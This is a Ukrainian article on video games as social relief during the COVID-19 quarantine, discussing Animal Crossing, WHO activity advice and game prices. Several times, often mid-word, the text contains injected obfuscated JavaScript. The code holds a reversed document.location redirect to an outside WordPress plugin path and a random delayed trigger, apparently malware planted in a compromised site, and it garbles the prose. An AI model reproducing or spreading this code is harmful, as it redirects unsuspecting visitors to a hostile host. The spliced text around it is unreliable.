Олександр Задорожний
Відеоігри оточують нас вже майже тридцять років, за які вони встигли пройти довгий шлях. Він почався ще у дев’яностих, коли у багатьох сім’ях на території колишнього СРСР почали з’являтися «приставки», які турботливі батьки купували своїм дітям як подарунки на дні народження чи новий рік. Зараз ці діти вже дорослі жінки та чоловіки, але у багатьох із них на хвильку з’явиться ностальгічна посмішка від назв Sega, Dendy чи PlayStation. У той час відеоігри були порівняно примітивні, а основною ціллю в них було здолати всіх ворогів чи зібрати всі монетки. Але, як і кінематограф, після свого розповсюдження ігри не стояли на місці, а розвивалися шаленими темпами, і з кожних роком ставало все більше «складних» ігор, в яких використовувалися режисерські методи із кіно та музика, написана справжніми композиторами, які мали сюжет та цікавих, «живих» персонажів. У наш час відеоігри це справжнє мистецтво, в них грають ролі Голлівудські актори, їх використовують як частину навчальної програми, щоб познайомити дітей з архітектурою та фізикою, музику з відеоігор виконують національні оркестри різних країн, хтось заробляє на них цілі статки, займаючи перші місця на міжнародних кіберспортивних турнірах з мільйонними призовими фондами, а хтось просто грає заради задоволення.
Останнє особливо актуально у тому становищі, у якому зараз опинилися люди у всьому світі. Через пандемію коронавірусу закриті всі місця, де можна було б розвіятися з друзями чи рідними, немає можливості подорожувати чи хоча б просто прогулятися парком. Але коли реальний світ зачинений на карантин, на допомогу приходить віртуальний: за даними BBC щотижневі продажі ігор за час карантину зросли до 60%. Значною частиною цьому сприяв випуск нової Animal Crossing та інших, так званих «соціальних ігор», основним заняттям в яких є спілкування з іншими людьми.
Особливо відмітилася гра Animal Crossing: New Horizons, яка вийшла якраз на початку карантину в більшості країн світу. Суть цієї гри в тому, що кожен гравець живе на власному острові, на якому він вільний робити все, що заманеться. Але в грі також можна відвідувати острови інших гравців, або запрошувати їх до себе в гості. Цією можливістю скористався Кріс Конвей, який планував вечірку-сюрприз з нагоди дня народження сусіда по будинку, поки, 20 березня, губернатор його міста не сказав всім жителям залишатися вдома. Ніхто не повинен був виходити на вулицю без крайньої необхідності через пандемію Covid-19, тому Кріс, разом з друзями, проявив творчий підхід. Замість цього вони вирішили влаштувати вечірку в онлайн-відеогрі Animal Crossing: New Horizons, яка була випущена для консолі Nintentoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do Switch, за збігом, в той же день. Тож, в неділю ввечері, перевтілившись у яскравих персонажів гри, друзі зустрілися, говорили один з одним, та вивчали віртуальний світ. Світ, вільний від коронавірусу. «Було дуже приємно просто піти в гру і поспілкуватися один з одним», – каже Кріс.
У Animal Crossing гравці можуть брати участь в різних заходах, від риболовлі до гри на музичних інструментах, відвідувати зроблені іншими гравцями парки, готелі, ферми, бари чи дискотеки, а закохані пари проводили у грі побачення. Нова Animal Crossing стала справжнім порятунком для мільйонів сумуючих людей у всьому світі, об’єднавши їх у велике коло друзів. Професор психології та працівник Оксфордського Інтернет Університету, Анджей Пжібільскі, каже: «Ігри не призначені для задоволення всіх наших потреб. Наприклад, вони не є ідеальною заміною для зустрічі віч-на-віч. Вони також можуть бути недоступні людям, які не можуть їх собі дозволити. Але для тих, хто може і грає в них, ігри пропонують деякий перепочинок. Мова йде про зустріч людей там, де вони є, але це не панацея».
Особливо влучними є останні слова, адже, незважаючи на те, що ігри допоможуть не втратити контакт зі своїми друзями та знизити психічне навантаження від карантинної ізоляції, надмірне захоплення чимось завжди має й негативні наслідки. Так ВООЗ попереджає, що надмірне захоплення іграми, а також іншими сидячими видами розваг, є згубним для вашого здоров’я. Через переважно сидячий образ життя в організмі накопичуються шкідливі речовини, зокрема холестерин в кровоносній системі та солі в суглобах. Поринаючи у світ ігор чи серіалів, люди часто забувають про те, що людському тілу дуже погано без фізичної активності, як і з психологічної точки зору, так і з фізичної. Інтенсивні навантаження провокують викиди в кров серотоніну, гормону щастя, що, в купі з моральним розвантаженням від відеоігор, допоможе врятуватися від карантинної депресії. Також активність сприяє спалюванню холестерину та покращує рух крові по венах та артеріях, зменшує накопичення солей у суглобах через малорухливий спосіб життя, що знижує ризик артриту та накопичення зайвої ваги. Європейський офіс ВООЗ підготував рекомендації з фізичної активності і підказав вправи і техніки розслаблення, які допоможуть зберегти спокій і захистити ваше здоров’я протягом цього часу. ВООЗ рекомендує 150 хвилин помірної фізичної активності або 75 хвилин інтенсивного фізичного активності в тиждень. Це посприяє покращенню настрою та укріпленню імунітету, що просто необхідне під час карантину, коли не тільки надто великий ризик захворіти, а ще й повальне зниження зайнятості через закриття або обмеження більшості видів бізнесу, що не може не позначитися на прибутках громадян. У такий тяжкий, в тому числі й фінансово, час, якщо й витрачати гроші, то краще на щось приємне, що принесе позитивні емоції та радісні спогади. До того ж, весна та літо чудовий час, щоб купувати відеоігри на консолі чи комп’ютери, або й самі консолі, адже саме в цю пору року проходять найбільші розпродажі в онлайн-магазинах і є можливість придбати щось, що в зазвичай не по-кишені більшості українців. А коли розмова заходить про відеоігри, то проблема стає особливо актуальною, адже більшість продавців орієнтуються на ринок європейських країн, прибутки громадян яких значно вищі, ніж в Україні. Так, ігрова консоль Sony PlayStation 4 slim, з трьома іграми в комплекті, зараз коштує близько десяти тисяч гривень, а ціна на ігри окремо варіюється від кількох сотень, до майже тисячі за копію. Якщо вам сподобалася Animal Crossing, то будьте готові віддати 12 тисяч гривень за портативну консоль Nintentoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do Switch, або близько 10 тисяч за Nintentoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do Switch Lite. Гравцям на персональних комп’ютерах пощастило значно більше, у сервісі цифрової дистрибуції, онлайн-магазині ігор, Steam, ціна на ігри може варіюватися від кількох десятків гривень, до тисячі і більше за збірки з багатьох ігор чи колекційні видання, також у них кожні три місяці проходить розпродаж, на якому знижки сягають більше, ніж 90%. А інший магазин, Epic Games Stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tore, взагалі роздає безкоштовно по одній грі кожного тижня, що просто рятує від зайвих витрат, зважаючи на те, що ліцензійні ігри можуть бути задоволенням не з дешевих.
Але це не привід вішати на них ярлик «дивної розваги для багатих дітлахів»: у наш час відеоігри та ґаджети для них стали доступніші, ніж будь коли в історії. Можливо, саме зараз час зіграти з батьками чи друзями у віртуальний теніс чи влаштувати танцювальний батл у JustDance. Незважаючи на усталені стереотипи щодо шкоди відеоігор та асоціальності ґеймерів, насправді це така сама частина життя мільйонів людей, як і фільми, серіали, чи література, а гравці – звичайні люди, які нічим не відрізняються від кожного з нас. Тож рухаємось у майбутнє разом, та будьмо сильними, незважаючи на всі труднощі, що стають у нас на шляху.